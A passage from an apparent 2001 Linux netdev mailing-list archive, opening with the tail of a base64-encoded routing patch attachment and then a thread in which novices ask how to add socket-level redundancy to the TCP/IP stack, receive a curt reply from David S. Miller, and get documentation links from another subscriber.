Iik7DQogCWlmIChyLT5ydG1fZmxhZ3MgJiBSVE1fRl9FUVVBTElaRSkNCiAJ CWZwcmludGYoZnAsICJlcXVhbGl6ZSAiKTsNCisjaWZkZWYgUlRNX0ZfTk9B UlANCisJaWYgKHItPnJ0bV9mbGFncyAmIFJUTV9GX05PQVJQKQ0KKwkJZnBy aW50ZihmcCwgIm5vYXJwICIpOw0KKyNlbmRpZg0KIAlpZiAoci0+cnRtX2Zs YWdzICYgUlRNX0ZfTk9USUZZKQ0KIAkJZnByaW50ZihmcCwgIm5vdGlmeSAi KTsNCiANCkBAIC0zOTIsNiArMzk2LDkgQEANCiAJCVBSVEZMKFJFRElSRUNU RUQsICJyZWRpcmVjdGVkIik7DQogCQlQUlRGTChET1JFRElSRUNULCAicmVk aXJlY3QiKTsNCiAJCVBSVEZMKEZBU1QsICJmYXN0cm91dGUiKTsNCisjaWZk ZWYgUlRDRl9OT0FSUA0KKwkJUFJURkwoTk9BUlAsICJub2FycCIpOw0KKyNl bmRpZg0KIAkJUFJURkwoTk9USUZZLCAibm90aWZ5Iik7DQogI2lmZGVmIFJU Q0ZfRVFVQUxJWkUNCiAJCVBSVEZMKEVRVUFMSVpFLCAiZXF1YWxpemUiKTsN CkBAIC04MDEsNiArODA4LDEwIEBADQogCQl9IGVsc2UgaWYgKG1hdGNoZXMo KmFyZ3YsICJlcXVhbGl6ZSIpID09IDAgfHwNCiAJCQkgICBzdHJjbXAoKmFy Z3YsICJlcWwiKSA9PSAwKSB7DQogCQkJcmVxLnIucnRtX2ZsYWdzIHw9IFJU TV9GX0VRVUFMSVpFOw0KKyNpZmRlZiBSVE1fRl9OT0FSUA0KKwkJfSBlbHNl IGlmIChtYXRjaGVzKCphcmd2LCAibm9hcnAiKSA9PSAwKSB7DQorCQkJcmVx LnIucnRtX2ZsYWdzIHw9IFJUTV9GX05PQVJQOw0KKyNlbmRpZg0KIAkJfSBl bHNlIGlmIChzdHJjbXAoKmFyZ3YsICJuZXh0aG9wIikgPT0gMCkgew0KIAkJ CW5oc19vayA9IDE7DQogCQkJYnJlYWs7DQo= --1607745702-51437355-991006919=:12611-- From owner-netdev@oss.sgi.com Thu May 31 22:38:32 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f515cWK32483 for netdev-outgoing; Thu, 31 May 2001 22:38:32 -0700 Received: from hindon.hss.co.in ([202.54.26.202]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f515cRh32469 for ; Thu, 31 May 2001 22:38:28 -0700 Received: from sandesh.hss.hns.com (localhost [127.0.0.1]) by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f515dbF08716 for ; Fri, 1 Jun 2001 11:09:37 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256A5E.001D9BA6 ; Fri, 1 Jun 2001 10:53:23 +0530 X-Lotus-FromDomain: HSS From: sakalra@hss.hns.com To: netdev@oss.sgi.com, sndtrn27@hss.hns.com Message-ID: <65256A5E.001D9A58.00@sandesh.hss.hns.com> Date: Fri, 1 Jun 2001 11:08:00 +0530 Subject: regarding Redundancy in TCP / IP Stack Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 780 Lines: 25 hi all , list We am novice to the Linux TCP / IP stack arch, At present i want to implement redundancy at socket level in the Stack.. Can you please help me with some docs, information in this regards we want to know 1. The Data structures that are kept by the system for maintaining the Connection. 2. Kernel related data structures that are part of the TCP / IP stack. 3. Any Documents, Links that can help us in getting with the procedure .as to how it can be implemeted efficiently. 4. Pros & cons in implementing such redundancy. 5. kernel related other information as to which modules are interdependent to this (If any). 6. If any work is going in this regards, then what is the present status. & for more detail whom shall then we refer to. regards Sandeep , Rajiv From owner-netdev@oss.sgi.com Thu May 31 22:47:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f515lLW01828 for netdev-outgoing; Thu, 31 May 2001 22:47:21 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f515lIh01819 for ; Thu, 31 May 2001 22:47:18 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA15322; Thu, 31 May 2001 22:47:16 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15127.11364.317300.272157@pizda.ninka.net> Date: Thu, 31 May 2001 22:47:16 -0700 (PDT) To: sakalra@hss.hns.com Cc: netdev@oss.sgi.com, sndtrn27@hss.hns.com Subject: Re: regarding Redundancy in TCP / IP Stack In-Reply-To: <65256A5E.001D9A58.00@sandesh.hss.hns.com> References: <65256A5E.001D9A58.00@sandesh.hss.hns.com> X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 155 Lines: 10 sakalra@hss.hns.com writes: > we want to know Basically, you want other people to do most of the work for you. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 31 23:01:47 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f5161lp04215 for netdev-outgoing; Thu, 31 May 2001 23:01:47 -0700 Received: from hindon.hss.co.in ([202.54.26.202]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f5161eh04198 for ; Thu, 31 May 2001 23:01:41 -0700 Received: from sandesh.hss.hns.com (localhost [127.0.0.1]) by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f5162hf09572; Fri, 1 Jun 2001 11:32:43 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256A5E.001FB99F ; Fri, 1 Jun 2001 11:16:31 +0530 X-Lotus-FromDomain: HSS From: sakalra@hss.hns.com To: "David S. Miller" cc: netdev@oss.sgi.com, sndtrn27@hss.hns.com Message-ID: <65256A5E.001FB868.00@sandesh.hss.hns.com> Date: Fri, 1 Jun 2001 11:31:07 +0530 Subject: Re: regarding Redundancy in TCP / IP Stack Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 961 Lines: 48 hi david it is not that way, we have this project...nothing to start with ...just a pc with Linux 6.2 installed how to go for that ... i told u .. we am totally novice to the world of linux and also time constain is also there we are with just 1 months time . yes, the information i asked for was almost all that is needed to implement that but i dont know as to what extend ppl here can help us . so if some the data structures that we need to identify for mirroring is available then we can go our own , Certainly any prev. work in this regards will certainly help us . regards -sandeep & Rajiv "David S. Miller" on 06/01/2001 11:17:16 AM To: Sandeep Kalra/HSS@HSS cc: netdev@oss.sgi.com, Rajiv Roy/HSS@HSS Subject: Re: regarding Redundancy in TCP / IP Stack sakalra@hss.hns.com writes: > we want to know Basically, you want other people to do most of the work for you. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 31 23:57:13 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f516vDN13388 for netdev-outgoing; Thu, 31 May 2001 23:57:13 -0700 Received: from signal.uu.se (IDENT:root@signserv.signal.uu.se [130.238.47.210]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f516v7h13381 for ; Thu, 31 May 2001 23:57:08 -0700 Received: from bhlap.signal.uu.se (IDENT:root@bhlap.signal.uu.se [130.238.47.149]) by signal.uu.se (8.9.3/8.9.3) with ESMTP id IAA07307; Fri, 1 Jun 2001 08:57:05 +0200 Received: from signal.uu.se (IDENT:bh@localhost [127.0.0.1]) by bhlap.signal.uu.se (8.9.3/8.9.3) with ESMTP id IAA18641; Fri, 1 Jun 2001 08:58:59 +0200 Message-ID: <3B173D32.B0A74BB6@signal.uu.se> Date: Fri, 01 Jun 2001 08:58:58 +0200 From: Bjorn Hammarberg Reply-To: Bjorn.Hammarberg@signal.uu.se Organization: Uppsala University, Sweden X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i586) X-Accept-Language: en MIME-Version: 1.0 To: sakalra@hss.hns.com CC: sndtrn27@hss.hns.com, netdev@oss.sgi.com Subject: Re: regarding Redundancy in TCP / IP Stack References: <65256A5E.001FB868.00@sandesh.hss.hns.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id f516v8h13383 Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 2274 Lines: 50 sakalra@hss.hns.com wrote: > > hi david > it is not that way, we have this project...nothing to start with > ...just a pc with Linux 6.2 installedhow to go for that ... i told u > .. we am totally novice to the world of linux and also time constain > is also there we are with just 1 months time . > > "David S. Miller" on 06/01/2001 11:17:16 AM > > sakalra@hss.hns.com writes: > > > we want to know > > > > Basically, you want other people to do most of the work > > for you. Although David's response was somewhat harsh you have to understand that this list consists mostly of people that do this on their spare time. Moreover, Linux is based on people doing things freely and, therefore, other people (newbies if you want) must be prepared to do a lot of work themselves or pay for it (unless it's a project that is so exciting that these gurus want to do just for the fun of it... ). Many people are certainly prepared to do others work if they get a fair compensation for their lost spare time. However, as a recent newbie myself I agree that it could be quite difficult to get the basics of the networking stack. Besides the actual source code these links have helped me a lot http://kernelnewbies.org/documents/ipnetworking/linuxipnetworking.html http://www.linuxdoc.org/LDP/khg/HyperNews/get/net/net-intro.html http://www.gnumonks.org/ftp/pub/doc/packet-journey-2.4.html Perhaps other people could contribute other links. One that I certainly would like to have is the link to the linux-hacker central where one can get information of just about anything about linux hacking; perhaps there is none. My experience is that this information is spread all over the place and many "promising" links points to non-existent pages. Cheers, Björn ---------------------------------------------------------------------- Bjorn Hammarberg, PhD student in Neurophysiological Signal Processing Dep. of Neuroscience Signals and Systems Clinical Neurophysiology ¨¨¨¨¨¨¨|+|o|¨¨¨¨¨¨¨¨¨¨ Uppsala University University Hospital Uppsala |-+-| PO Box 528 SE-751 85 Uppsala, SWEDEN |o|+| SE-751 20 Uppsala, SWEDEN http://www.neurofys.uu.se `---' http://www.signal.uu.se